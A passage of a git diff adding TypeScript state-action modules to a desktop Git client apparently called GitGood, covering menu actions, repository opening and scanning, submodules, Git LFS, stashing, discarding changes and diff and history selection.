openCommandPalette(); + case 'export-settings': + return openDialog({ kind: 'export-settings' }); + case 'import-settings': + return openDialog({ kind: 'import-settings' }); + case 'show-changes': + return setView('changes'); + case 'show-history': + return setView('history'); + case 'show-stashes': + if (needsRepo()) return setView('stashes'); + return; + case 'show-worktrees': + if (needsRepo()) openDialog({ kind: 'worktrees' }); + return; + case 'show-submodules': + if (needsRepo()) openDialog({ kind: 'submodules' }); + return; + case 'show-lfs': + if (needsRepo()) openDialog({ kind: 'lfs' }); + return; + case 'show-health': + if (needsRepo()) return openHealth(); + return; + case 'show-reflog': + if (needsRepo()) openDialog({ kind: 'reflog' }); + return; + case 'undo-last-operation': + if (needsRepo()) return undoLastOperation(); + return; + case 'show-repository-list': + return store.set((st) => ({ popover: st.popover === 'repos' ? null : 'repos' })); + case 'show-branches-list': + if (needsRepo()) store.set((st) => ({ popover: st.popover === 'branches' ? null : 'branches' })); + return; + case 'focus-commit-summary': + setView('changes'); + document.getElementById('commit-summary')?.focus(); + return; + case 'toggle-split-diff': + return updateSettings({ diffViewMode: s.settings?.diffViewMode === 'split' ? 'unified' : 'split' }); + case 'toggle-whitespace': + return updateSettings({ diffHideWhitespace: !s.settings?.diffHideWhitespace }); + case 'toggle-blame': + return toggleBlame(); + case 'toggle-history-graph': + return updateSettings({ historyGraph: !s.settings?.historyGraph }); + case 'zoom-in': + case 'zoom-out': + case 'zoom-reset': + await invoke('app.zoom', action === 'zoom-in' ? 'in' : action === 'zoom-out' ? 'out' : 'reset'); + return; + case 'push': + if (needsRepo()) return pushWithErrorHandling(); + return; + case 'pull': + if (needsRepo()) return pull(); + return; + case 'fetch': + if (needsRepo()) return fetchRemote(); + return; + case 'scan-watched-folders': + return void scanWatchedFolders(); + case 'remove-repository': + if (repo) openDialog({ kind: 'remove-repo', repo }); + return; + case 'view-on-github': + return viewOnGitHub(); + case 'open-in-shell': + if (needsRepo()) return openInShell(); + return; + case 'show-in-folder': + if (needsRepo()) return showInFolder(); + return; + case 'open-in-editor': + if (needsRepo()) return openInEditor(); + return; + case 'create-issue': + if (repo?.github) void openExternal(`${repo.github.url}/issues/new`); + return; + case 'show-issues': + if (needsRepo()) openIssuesDialog(); + return; + case 'show-inbox': + return toggleInboxPanel(); + case 'open-inbox-item': + return openInboxItemById((args as { id: string }).id); + case 'repository-settings': + if (needsRepo()) openDialog({ kind: 'repo-settings' }); + return; + case 'release-notes': + if (needsRepo()) openReleaseNotes(); + return; + case 'split-commits': + if (needsRepo()) openSplitDialog(); + return; + case 'tidy-branch-ai': + if (needsRepo()) tidyBranch(); + return; + case 'new-branch': + if (needsRepo()) openDialog({ kind: 'new-branch' }); + return; + case 'rename-branch': + if (repo && s.status?.branch.name) openDialog({ kind: 'rename-branch', branch: s.status.branch.name }); + return; + case 'delete-branch': { + const current = s.branches.find((b) => b.isCurrent); + if (repo && current) openDialog({ kind: 'delete-branch', branch: current }); + return; + } + case 'discard-all-changes': + if (repo && s.status?.files.length) requestDiscard(s.status.files.map((f) => f.path), true); + return; + case 'stash-all-changes': + if (repo && s.status?.files.length) return stashAll(); + return; + case 'update-from-default': + if (needsRepo()) return updateFromDefaultBranch(); + return; + case 'compare-branch': + if (needsRepo()) openDialog({ kind: 'compare' }); + return; + case 'merge-branch': + if (needsRepo()) openDialog({ kind: 'merge', squash: false }); + return; + case 'squash-merge-branch': + if (needsRepo()) openDialog({ kind: 'merge', squash: true }); + return; + case 'rebase-branch': + if (needsRepo()) openDialog({ kind: 'rebase' }); + return; + case 'compare-on-github': + return compareOnGitHub(); + case 'view-pull-request': + if (s.prs.current) void openExternal(s.prs.current.url); + else showToast({ kind: 'info', title: 'No pull request for this branch' }); + return; + case 'create-pull-request': + if (needsRepo()) return openPullRequestFlow(); + return; + case 'review-branch': + if (needsRepo()) reviewBranch(); + return; + case 'review-pull-request': + if (needsRepo()) reviewCurrentPullRequest(); + return; + case 'draft-pull-request-ai': + if (needsRepo()) return draftPullRequest(); + return; + case 'keyboard-shortcuts': + return openDialog({ kind: 'shortcuts' }); + case 'show-logs': { + const info = await invoke('app.info'); + await invoke('app.showItemInFolder', info.logPath); + return; + } + case 'about': + return openDialog({ kind: 'about' }); + case 'check-for-updates': + return checkForUpdates(); + case 'find': + if (s.view === 'history') document.getElementById('history-search')?.focus(); + else document.getElementById('changes-filter')?.focus(); + return; + case 'search-history-selection': { + const text = window.getSelection()?.toString() ?? ''; + if (!needsRepo()) return; + if (text.trim()) searchHistoryForSelection(text); + else showToast({ kind: 'info', title: 'Select some text in the diff first' }); + return; + } + default: + return; + } +} diff --git a/src/renderer/src/state/actions/repo.ts b/src/renderer/src/state/actions/repo.ts new file mode 100644 index 0000000..57a9bd6 --- /dev/null +++ b/src/renderer/src/state/actions/repo.ts @@ -0,0 +1,337 @@ +import type { RepositoryInfo, RepositoryScanResult, RepositoryStatus } from '@shared/types'; +import { errorInfo, errorMessage, invoke } from '../../api'; +import { closeAllDialogs, initialChanges, initialDiff, initialErrorExplain, initialExplain, initialHistory, initialNlPalette, initialPrecommitReview, initialReview, initialStashesView, initialTriage, NO_CONFLICT_EXAMPLES, openDialog, showToast, store } from '../store'; +import { showError } from './core'; +import { refreshBranches, refreshConflictExamples, refreshRemotes, refreshStashes } from './conflicts'; +import { loadDiff, loadHistory } from './view'; +import { loadCurrentPullRequest } from './github'; + +// --------------------------------------------------------------------------- +// Repositories +// --------------------------------------------------------------------------- + +export async function openRepository(repo: RepositoryInfo): Promise { + if (repo.missing) { + showError('Repository not found', new Error(`The folder "${repo.path}" no longer exists. Remove the repository from the list or restore the folder.`)); + return; + } + const previous = store.get().currentRepo; + if (previous && previous.path !== repo.path) void invoke('repo.close', previous.path); + store.set({ + currentRepo: repo, + status: null, + branches: [], + stashes: [], + tags: [], + remotes: [], + changes: initialChanges, + history: initialHistory, + stashesView: initialStashesView, + diff: initialDiff, + review: initialReview, + precommitReview: initialPrecommitReview, + // All three outlive a repository switch otherwise: the explain panel stays + // open over the new repo's diff, and the palette keeps the previous repo's + // plan and history with its steps still runnable. `width` is a persisted UI + // preference, not repo state, so it is carried across. + explain: { ...initialExplain, width: store.get().explain.width }, + errorExplain: initialErrorExplain, + nlPalette: initialNlPalette, + prs: { list: [], loading: false, current: null, loadedAt: 0, error: null }, + triage: initialTriage, + popover: null, + lastSuccessfulMerge: null, + }); + document.title = `${repo.alias ?? repo.name} — GitGood`; + try { + const opened = await invoke('repo.open', repo.path); + store.set((s) => ({ currentRepo: { ...(s.currentRepo ?? opened), github: opened.github, aiConfigOff: opened.aiConfigOff }, repos: s.repos.map((r) => (r.id === opened.id ? { ...r, github: opened.github, lastOpened: Date.now() } : r)) })); + } catch (err) { + showError('Could not open repository', err); + return; + } + await refreshAll(); + await loadHistory(true); + void loadCurrentPullRequest(); +} + +export async function addLocalRepository(path: string): Promise { + try { + const repo = await invoke('repos.add', path); + closeAllDialogs(); + await openRepository(repo); + } catch (err) { + showError('Could not add repository', err); + } +} + +/** Opens a folder dropped on the window or passed on the command line: a repository is added and opened; anything else goes to the Add dialog, which explains the problem and offers to create a repository. */ +export async function openFolderAsRepository({ path }: { path: string }): Promise { + if (await invoke('app.isRepository', path).catch(() => false)) await addLocalRepository(path); + else openDialog({ kind: 'add-repo', path }); +} + +/** Desktop app only: shows `repo` in another window, which has its own open repository, selection and dialogs. */ +export async function openRepositoryInNewWindow(repo: RepositoryInfo): Promise { + try { + await invoke('app.newWindow', repo.id); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open a new window', message: errorMessage(err) }); + } +} + +/** One sentence for a finished watched-folder scan, for the toast and the Options summary. */ +export function describeScanResult(result: RepositoryScanResult): string { + if (result.alreadyRunning) return 'A scan is already running.'; + // A scan that added nothing says so outright, whatever else it did: "12 + // already known" on its own reads as though something was found. + const parts: string[] = [result.added ? `${result.added} ${result.added === 1 ? 'repository' : 'repositories'} added` : 'No new repositories found']; + if (result.dropped) parts.push(`${result.dropped} removed (no longer on disk)`); + if (result.skipped) parts.push(`${result.skipped} already known or excluded`); + if (result.failed) parts.push(`${result.failed} could not be added`); + if (result.unreadable) parts.push(`${result.unreadable} ${result.unreadable === 1 ? 'folder' : 'folders'} could not be read`); + const summary = parts.join(' · '); + return result.cancelled ? `Scan cancelled — ${summary.charAt(0).toLowerCase()}${summary.slice(1)}` : summary; +} + +/** Scans every watched folder from the UI (menu, Options) and reports the outcome. */ +export async function scanWatchedFolders(): Promise { + try { + const result = await invoke('repos.scanWatchedFolders'); + store.set({ repos: await invoke('repos.list') }); + showToast({ + kind: result.unreadable && !result.added ? 'warning' : 'info', + title: result.cancelled ? 'Watched folder scan cancelled' : 'Watched folders scanned', + message: describeScanResult(result), + }); + } catch (err) { + showError('Could not scan watched folders', err); + } +} + +export async function removeRepository(repo: RepositoryInfo, moveToTrash: boolean): Promise { + try { + await invoke('repos.remove', repo.id, moveToTrash); + const list = await invoke('repos.list'); + store.set({ repos: list }); + const current = store.get().currentRepo; + // Removing a main repository also drops its worktrees from the list; if one of them was open, switch away too. + if (current && (current.id === repo.id || current.worktreeOf === repo.id)) { + const next = list.filter((r) => !r.missing).sort((a, b) => b.lastOpened - a.lastOpened)[0]; + if (next) await openRepository(next); + else { + store.set({ currentRepo: null, status: null, branches: [], changes: initialChanges, history: initialHistory, stashesView: initialStashesView, diff: initialDiff }); + document.title = 'GitGood'; + } + } + } catch (err) { + showError('Could not remove repository', err); + } +} + +export async function refreshAll(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await Promise.all([refreshStatus(), refreshBranches(), refreshStashes(), refreshRemotes(), refreshSubmodulesAndLfs()]); +} + +/** Refreshes the submodule list and LFS status, which drive the post-clone banner, the LFS install banner and both dialogs. */ +export async function refreshSubmodulesAndLfs(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + const [submodules, lfsStatus] = await Promise.all([invoke('repo.submodules', repo.path), invoke('repo.lfs.status', repo.path)]); + if (store.get().currentRepo?.path !== repo.path) return; + const hadUninitialized = store.get().submodules.some((s) => s.state === 'uninitialized'); + const hasUninitialized = submodules.some((s) => s.state === 'uninitialized'); + store.set({ submodules, lfsStatus, submoduleBannerDismissed: hasUninitialized && hadUninitialized ? store.get().submoduleBannerDismissed : false }); + } catch { + /* best-effort; the banners and dialogs simply show nothing until the next refresh */ + } +} + +// --------------------------------------------------------------------------- +// Submodules +// --------------------------------------------------------------------------- + +export async function initializeAndUpdateAllSubmodules(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.submodule.update', repo.path, null, true); + showToast({ kind: 'success', title: 'Submodules initialized and updated' }); + } catch (err) { + showError('Could not initialize submodules', err); + } finally { + await refreshSubmodulesAndLfs(); + } +} + +export async function updateSubmodule(path: string, init: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.submodule.update', repo.path, [path], init); + showToast({ kind: 'success', title: `Updated ${path}` }); + } catch (err) { + showError(`Could not update ${path}`, err); + } finally { + await refreshSubmodulesAndLfs(); + await refreshStatus(); + } +} + +/** "Update to recorded commit" from the diff pane's submodule summary. */ +export async function updateSubmoduleToRecorded(path: string): Promise { + await updateSubmodule(path, false); +} + +export async function syncSubmoduleUrls(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.submodule.sync', repo.path); + showToast({ kind: 'success', title: 'Submodule URLs synced' }); + } catch (err) { + showError('Could not sync submodule URLs', err); + } finally { + await refreshSubmodulesAndLfs(); + } +} + +export async function openSubmoduleAsRepository(path: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + const info = await invoke('repo.submodule.open', repo.path, path); + const list = await invoke('repos.list'); + store.set({ repos: list }); + closeAllDialogs(); + await openRepository(list.find((r) => r.id === info.id) ?? info); + } catch (err) { + showError(`Could not open ${path} as a repository`, err); + } +} + +// --------------------------------------------------------------------------- +// Git LFS +// --------------------------------------------------------------------------- + +export async function installLfsHooks(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.lfs.install', repo.path); + showToast({ kind: 'success', title: 'Git LFS hooks installed' }); + } catch (err) { + showError('Could not install Git LFS hooks', err); + } finally { + await refreshSubmodulesAndLfs(); + } +} + +export async function setLfsTracking(pattern: string, track: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo || !pattern.trim()) return; + try { + await invoke('git.lfs.track', repo.path, pattern.trim(), track); + showToast({ kind: 'success', title: track ? `Now tracking ${pattern}` : `Stopped tracking ${pattern}` }); + } catch (err) { + showError(track ? `Could not track ${pattern}` : `Could not untrack ${pattern}`, err); + } finally { + await refreshSubmodulesAndLfs(); + await refreshStatus(); + } +} + +export async function fetchLfsObjects(mode: 'fetch-all' | 'pull', paths: string[] | null): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.lfs.fetch', repo.path, mode, paths); + showToast({ kind: 'success', title: mode === 'fetch-all' ? 'Fetched LFS objects' : 'Pulled LFS objects' }); + } catch (err) { + showError('Could not fetch LFS objects', err); + } finally { + await refreshSubmodulesAndLfs(); + } +} + +/** "Download" on a missing LFS object in the diff pane: pulls just that path, then reloads the diff. */ +export async function downloadLfsObject(path: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.lfs.fetch', repo.path, 'pull', [path]); + await loadDiff(true); + } catch (err) { + showError(`Could not download ${path}`, err); + } +} + +export async function pruneLfsObjects(): Promise<{ objects: number; bytes: number } | null> { + const repo = store.get().currentRepo; + if (!repo) return null; + try { + const result = await invoke('git.lfs.prune', repo.path, false); + showToast({ kind: 'success', title: `Pruned ${result.objects} object${result.objects === 1 ? '' : 's'}` }); + return result; + } catch (err) { + showError('Could not prune Git LFS objects', err); + return null; + } finally { + await refreshSubmodulesAndLfs(); + } +} + +let statusInFlight: Promise | null = null; +export async function refreshStatus(): Promise { + if (statusInFlight) return statusInFlight; + const repo = store.get().currentRepo; + if (!repo) return; + statusInFlight = (async () => { + store.set({ statusLoading: true }); + try { + const status = await invoke('repo.status', repo.path); + if (store.get().currentRepo?.path !== repo.path) return; + applyStatus(status); + } catch (err) { + const info = errorInfo(err); + if (info.code === 'not-a-repository' || info.code === 'tool-missing') { + store.set({ status: null }); + } else { + showToast({ kind: 'error', title: 'Could not read repository status', message: info.message }); + } + } finally { + store.set({ statusLoading: false }); + statusInFlight = null; + } + })(); + return statusInFlight; +} + +function applyStatus(status: RepositoryStatus): void { + const s = store.get(); + const paths = new Set(status.files.map((f) => f.path)); + const changes = { ...s.changes }; + changes.selectedPaths = changes.selectedPaths.filter((p) => paths.has(p)); + changes.excluded = changes.excluded.filter((p) => paths.has(p)); + changes.partial = Object.fromEntries(Object.entries(changes.partial).filter(([p]) => paths.has(p))); + if (!changes.selectedPaths.length && status.files.length) changes.selectedPaths = [status.files[0].path]; + const previousConflicts = s.status?.hasConflicts ?? false; + store.set({ status, changes }); + if (store.get().view === 'changes') void loadDiff(); + if (previousConflicts && !status.hasConflicts && status.operation.kind === 'none' && s.status?.operation.kind === 'merge') { + store.set({ lastSuccessfulMerge: { branch: s.status.operation.targetName ?? 'branch', at: Date.now() } }); + } + // Guided examples, confidence tints and the check banner only make sense while an operation is + // in progress; once it ends (completed or aborted) they are discarded, matching the resolver's + // own in-memory example lifetime (cleared when getStatus reports operation.kind === 'none'). + if (status.operation.kind === 'none') { + if (Object.keys(s.conflictResolutions).length || Object.keys(s.conflictOriginals).length || s.conflictExamples.length || s.checkBanner) { + store.set({ conflictResolutions: {}, conflictSnapshots: {}, conflictBlockRanges: {}, conflictOriginals: {}, conflictExamples: NO_CONFLICT_EXAMPLES, checkBanner: null }); + } + } else if (s.currentRepo) { + void refreshConflictExamples(s.currentRepo.path); + } +} diff --git a/src/renderer/src/state/actions/shared.ts b/src/renderer/src/state/actions/shared.ts new file mode 100644 index 0000000..9c1c6de --- /dev/null +++ b/src/renderer/src/state/actions/shared.ts @@ -0,0 +1,74 @@ +import type { UncommittedChangesStrategy, AppSettings } from '@shared/types'; +import type { OperationOutcome } from '@shared/ipc'; +import { invoke } from '../../api'; +import { openDialog, showToast, store } from '../store'; +import { refreshAll } from './repo'; +import { hasUncommittedChanges } from './branches'; + +export function applyTheme(settings: AppSettings | null, systemDark: boolean): void { + const theme = settings?.theme ?? 'system'; + const dark = theme === 'dark' || (theme === 'system' && systemDark); + document.documentElement.dataset.theme = dark ? 'dark' : 'light'; + // Browser/PWA chrome (status bar, address bar) matches the toolbar surface, --bg-subtle. + document.querySelector('meta[name="theme-color"]')?.setAttribute('content', dark ? '#161b22' : '#f6f8fa'); + store.set({ dark }); +} + +export function reportOutcome(outcome: OperationOutcome | undefined, verb: string): void { + if (!outcome) return; + if (outcome.status === 'conflicts') { + void refreshAll().then(() => openDialog({ kind: 'conflicts' })); + } else if (outcome.status === 'up-to-date') { + showToast({ kind: 'info', title: 'Already up to date' }); + } else if (outcome.status === 'complete') { + showToast({ kind: 'success', title: `${verb} complete` }); + } +} + +/** Re-checks every path with an active confidence tint against what is actually on disk, dropping any whose content no longer matches the snapshot taken right after it was resolved (see the "Tints cleared on external edit" scenario). */ +export async function pruneStaleConflictTints(repoPath: string): Promise { + const tracked = Object.keys(store.get().conflictResolutions); + if (!tracked.length) return; + await Promise.all( + tracked.map(async (path) => { + const expected = store.get().conflictSnapshots[path]; + if (expected === undefined) return; + let actual: string | null; + try { + actual = await invoke('repo.readFile', repoPath, path); + } catch { + actual = null; + } + if (actual !== expected) { + store.set((s) => { + const conflictResolutions = { ...s.conflictResolutions }; + delete conflictResolutions[path]; + const conflictSnapshots = { ...s.conflictSnapshots }; + delete conflictSnapshots[path]; + const conflictBlockRanges = { ...s.conflictBlockRanges }; + delete conflictBlockRanges[path]; + return { conflictResolutions, conflictSnapshots, conflictBlockRanges, checkBanner: s.checkBanner?.path === path ? null : s.checkBanner }; + }); + } + }), + ); +} + +/** Captures the pre-resolution conflicted content the first time a path is seen as conflicted, so a later manual resolution can be recorded as a worked example. A no-op once already captured (edits after the first load must not overwrite the true original). */ +export function captureConflictOriginal(path: string, content: string): void { + store.set((s) => (s.conflictOriginals[path] !== undefined ? {} : { conflictOriginals: { ...s.conflictOriginals, [path]: content } })); +} + +export async function withUncommittedChanges(targetLabel: string, perform: (strategy: UncommittedChangesStrategy) => Promise): Promise { + const settings = store.get().settings; + const strategy = settings?.uncommittedChangesStrategy ?? 'ask'; + if (!hasUncommittedChanges()) { + await perform('move'); + return; + } + if (strategy === 'ask') { + openDialog({ kind: 'uncommitted-changes', targetLabel, proceed: perform }); + return; + } + await perform(strategy); +} diff --git a/src/renderer/src/state/actions/stash.ts b/src/renderer/src/state/actions/stash.ts new file mode 100644 index 0000000..58e3c88 --- /dev/null +++ b/src/renderer/src/state/actions/stash.ts @@ -0,0 +1,217 @@ +import type { Stash } from '@shared/types'; +import { errorMessage, invoke } from '../../api'; +import { closeAllDialogs, closeDialog, openDialog, patchDiff, patchStashesView, showToast, store } from '../store'; +import { showError } from './core'; +import { refreshAll, refreshStatus } from './repo'; +import { refreshStashes } from './conflicts'; +import { loadDiff, setView } from './view'; + +// --------------------------------------------------------------------------- +// Discard / stash / ignore +// --------------------------------------------------------------------------- + +export function requestDiscard(paths: string[], all = false): void { + const settings = store.get().settings; + if (settings?.confirmDiscardChanges === false) void discard(paths, all); + else openDialog({ kind: 'discard', paths, all }); +} + +export async function discard(paths: string[], all: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + const trash = store.get().settings?.confirmDiscardChangesPermanently !== false; + try { + if (all) await invoke('git.discardAll', repo.path, trash); + else await invoke('git.discard', repo.path, paths, trash); + await refreshStatus(); + await loadDiff(true); + } catch (err) { + showError('Could not discard changes', err); + } +} + +export async function discardPatch(patch: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + try { + await invoke('git.discardPatch', repo.path, patch); + patchDiff({ selectedLines: null }); + await refreshStatus(); + await loadDiff(true); + } catch (err) { + showError('Could not discard selected lines', err); + } +} + +export async function ignore(patterns: string[]): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('repo.gitignore.add', repo.path, patterns); + await refreshStatus(); + } catch (err) { + showError('Could not update .gitignore', err); + } +} + +export async function stashAll(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const s = store.get(); + const existing = s.stashes.find((st) => st.createdByApp && st.branch === s.status?.branch.name); + const perform = async () => { + try { + if (existing) await invoke('git.stash.drop', repo.path, existing.sha); + await invoke('git.stash.push', repo.path, null, true, null); + await refreshAll(); + await loadDiff(true); + showToast({ kind: 'success', title: 'Changes stashed', action: { label: 'View stashes', onClick: () => setView('stashes') } }, 10000); + } catch (err) { + showError('Could not stash changes', err); + } + }; + if (existing && s.settings?.confirmDiscardStash !== false) { + openDialog({ kind: 'confirm', title: 'Overwrite stash?', message: `A stash created by GitGood already exists on ${s.status?.branch.name}. Stashing again will overwrite it.`, confirmLabel: 'Overwrite', danger: true, onConfirm: perform }); + } else await perform(); +} + +// --------------------------------------------------------------------------- +// Stashes view +// --------------------------------------------------------------------------- + +export async function loadStashesView(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + patchStashesView({ loading: true }); + try { + const stashes = await invoke('repo.stashes', repo.path); + if (store.get().currentRepo?.path !== repo.path) return; + store.set({ stashes }); + const v = store.get().stashesView; + if (v.selectedSha && !stashes.some((st) => st.sha === v.selectedSha)) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); + else if (!v.selectedSha && stashes.length) void selectStash(stashes[0].sha); + } catch (err) { + showToast({ kind: 'error', title: 'Could not load stashes', message: errorMessage(err) }); + } finally { + patchStashesView({ loading: false }); + } +} + +export async function selectStash(sha: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const stash = store.get().stashes.find((st) => st.sha === sha); + if (!stash) return; + patchStashesView({ selectedSha: sha, files: [], selectedFile: null, filesLoading: true }); + try { + const files = await invoke('repo.stash.files', repo.path, stash.sha); + if (store.get().stashesView.selectedSha !== sha) return; + patchStashesView({ files, selectedFile: files[0]?.path ?? null, filesLoading: false }); + void loadDiff(); + } catch (err) { + if (store.get().stashesView.selectedSha !== sha) return; + patchStashesView({ filesLoading: false }); + showToast({ kind: 'error', title: 'Could not load stash', message: errorMessage(err) }); + } +} + +export function selectStashViewFile(path: string): void { + patchStashesView({ selectedFile: path }); + void loadDiff(); +} + +async function restoreStashInternal(stash: Stash, pop: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + store.set({ operation: pop ? 'Pop stash' : 'Apply stash' }); + try { + const outcome = await invoke(pop ? 'git.stash.pop' : 'git.stash.apply', repo.path, stash.sha); + if (outcome.status === 'conflicts') { + showToast({ kind: 'warning', title: 'Stash restored with conflicts', message: 'Resolve the conflicted files, then the stash can be dropped.' }); + } else if (outcome.status === 'complete') { + if (pop && store.get().stashesView.selectedSha === stash.sha) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); + showToast({ kind: 'success', title: pop ? 'Stash popped' : 'Stash applied' }); + } + } catch (err) { + showError('Could not restore stash', err); + } finally { + store.set({ operation: null }); + await refreshAll(); + await loadDiff(true); + } +} + +/** Applies a stash to the working tree, keeping it in the list. */ +export async function applyStash(stash: Stash): Promise { + await restoreStashInternal(stash, false); +} + +/** Applies a stash and, if it applied cleanly, drops it. */ +export async function popStash(stash: Stash): Promise { + await restoreStashInternal(stash, true); +} + +export async function dropStashView(stash: Stash): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const perform = async () => { + try { + await invoke('git.stash.drop', repo.path, stash.sha); + if (store.get().stashesView.selectedSha === stash.sha) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); + await refreshStashes(); + void loadDiff(); + showToast({ kind: 'success', title: 'Stash dropped' }); + } catch (err) { + showError('Could not discard stash', err); + } + }; + if (store.get().settings?.confirmDiscardStash !== false) { + const fileCountLabel = stash.fileCount !== null ? `, ${stash.fileCount} file${stash.fileCount === 1 ? '' : 's'}` : ''; + openDialog({ + kind: 'confirm', + title: 'Discard stash?', + message: `"${stash.message}" (${stash.branch ? `on ${stash.branch}` : 'unknown branch'}${fileCountLabel}) will be permanently lost. It cannot be recovered from GitGood.`, + confirmLabel: 'Discard', + danger: true, + onConfirm: perform, + }); + } else await perform(); +} + +export async function createBranchFromStash(stash: Stash, branchName: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + store.set({ operation: `Creating ${branchName}` }); + try { + const outcome = await invoke('git.stash.branch', repo.path, stash.sha, branchName); + if (outcome.status === 'complete') { + if (store.get().stashesView.selectedSha === stash.sha) patchStashesView({ selectedSha: null, files: [], selectedFile: null }); + showToast({ kind: 'success', title: `Branch ${branchName} created`, message: 'The stash was applied to it and removed.' }); + setView('changes'); + } + } catch (err) { + showError(`Could not create branch ${branchName}`, err); + } finally { + store.set({ operation: null }); + await refreshAll(); + } +} + +/** Stashes only the given paths, leaving the rest of the working tree untouched (`git stash push -- `). */ +export async function stashSelectedFiles(paths: string[], message: string, includeUntracked: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo || !paths.length) return; + closeDialog(); + try { + await invoke('git.stash.push', repo.path, message.trim() || null, includeUntracked, paths); + await refreshStatus(); + await refreshStashes(); + await loadDiff(true); + showToast({ kind: 'success', title: paths.length === 1 ? 'File stashed' : `${paths.length} files stashed`, action: { label: 'View stashes', onClick: () => setView('stashes') } }, 10000); + } catch (err) { + showError('Could not stash selected files', err); + } +} diff --git a/src/renderer/src/state/actions/view.ts b/src/renderer/src/state/actions/view.ts new file mode 100644 index 0000000..0082abb --- /dev/null +++ b/src/renderer/src/state/actions/view.ts @@ -0,0 +1,473 @@ +import type { BlameHunk, BlameResult, FileDiff, HistoryQuery } from '@shared/types'; +import { EMPTY_HISTORY_QUERY, ZERO_SHA } from '@shared/types'; +import { buildFileViewDiff } from '@shared/diff/parse'; +import { checkRegexBrackets, formatHistoryQuery, isEmptyHistoryQuery, parseHistoryQuery } from '@shared/util'; +import { ApiError, errorMessage, invoke } from '../../api'; +import { openDialog, patchChanges, patchDiff, patchHistory, showToast, store, type View } from '../store'; +import { syncPrecommitReviewSelection } from '../precommitReview'; +import { showError } from './core'; +import { refreshStatus } from './repo'; +import { refreshStashes } from './conflicts'; +import { loadStashesView } from './stash'; +import { captureConflictOriginal } from './shared'; + +const HISTORY_PAGE = 100; + +// --------------------------------------------------------------------------- +// View & selection +// --------------------------------------------------------------------------- + +export function setView(view: View): void { + if (store.get().view === view) return; + store.set({ view, phonePane: 'list' }); + if (view === 'history') { + const h = store.get().history; + if (!h.commits.length || h.stale) void loadHistory(true); + else if (!h.selectedShas.length) selectCommit(h.commits[0].sha); + } else if (view === 'stashes') { + void loadStashesView(); + } + void loadDiff(); +} + +export function selectWorkingFile(path: string, opts: { toggle?: boolean; range?: boolean } = {}): void { + const s = store.get(); + const files = s.status?.files ?? []; + let selected: string[]; + if (opts.toggle) { + selected = s.changes.selectedPaths.includes(path) ? s.changes.selectedPaths.filter((p) => p !== path) : [...s.changes.selectedPaths, path]; + } else if (opts.range && s.changes.selectedPaths.length) { + const anchor = s.changes.selectedPaths[0]; + const a = files.findIndex((f) => f.path === anchor); + const b = files.findIndex((f) => f.path === path); + const [lo, hi] = a < b ? [a, b] : [b, a]; + selected = [anchor, ...files.slice(lo, hi + 1).map((f) => f.path).filter((p) => p !== anchor)]; + } else { + selected = [path]; + } + patchChanges({ selectedPaths: selected }); + void loadDiff(); +} + +export function toggleIncluded(path: string): void { + const s = store.get(); + const excluded = new Set(s.changes.excluded); + const partial = { ...s.changes.partial }; + if (excluded.has(path)) { + excluded.delete(path); + } else if (partial[path]) { + delete partial[path]; + } else { + excluded.add(path); + } + patchChanges({ excluded: [...excluded], partial }); + if (s.changes.selectedPaths[0] === path) patchDiff({ selectedLines: null }); + syncPrecommitReviewSelection(); +} + +export function setAllIncluded(included: boolean): void { + const s = store.get(); + patchChanges({ excluded: included ? [] : (s.status?.files ?? []).map((f) => f.path), partial: {} }); + patchDiff({ selectedLines: null }); + syncPrecommitReviewSelection(); +} + +export function isIncluded(path: string): 'all' | 'none' | 'partial' { + const s = store.get(); + if (s.changes.excluded.includes(path)) return 'none'; + if (s.changes.partial[path]) return 'partial'; + return 'all'; +} + +/** Updates the partial selection for the currently displayed working file. */ +export function setLineSelection(path: string, selected: Set, total: number): void { + const s = store.get(); + const excluded = new Set(s.changes.excluded); + const partial = { ...s.changes.partial }; + if (selected.size === 0) { + excluded.add(path); + delete partial[path]; + patchDiff({ selectedLines: [] }); + } else if (selected.size >= total) { + excluded.delete(path); + delete partial[path]; + patchDiff({ selectedLines: null }); + } else { + excluded.delete(path); + partial[path] = [...selected]; + patchDiff({ selectedLines: [...selected] }); + } + patchChanges({ excluded: [...excluded], partial }); +} + +export function selectCommit(sha: string, opts: { toggle?: boolean; range?: boolean } = {}): void { + const s = store.get(); + let selected: string[]; + if (opts.toggle) { + selected = s.history.selectedShas.includes(sha) ? s.history.selectedShas.filter((x) => x !== sha) : [...s.history.selectedShas, sha]; + } else if (opts.range && s.history.selectedShas.length) { + const anchor = s.history.selectedShas[0]; + const a = s.history.commits.findIndex((c) => c.sha === anchor); + const b = s.history.commits.findIndex((c) => c.sha === sha); + const [lo, hi] = a < b ? [a, b] : [b, a]; + selected = [anchor, ...s.history.commits.slice(lo, hi + 1).map((c) => c.sha).filter((x) => x !== anchor)]; + } else { + selected = [sha]; + } + patchHistory({ selectedShas: selected, detailsError: null, details: selected.length === 1 && s.history.details?.commit.sha === selected[0] ? s.history.details : null, selectedFile: selected.length === 1 && s.history.details?.commit.sha === selected[0] ? s.history.selectedFile : null }); + if (selected.length === 1) void loadCommitDetails(selected[0]); + else void loadDiff(); +} + 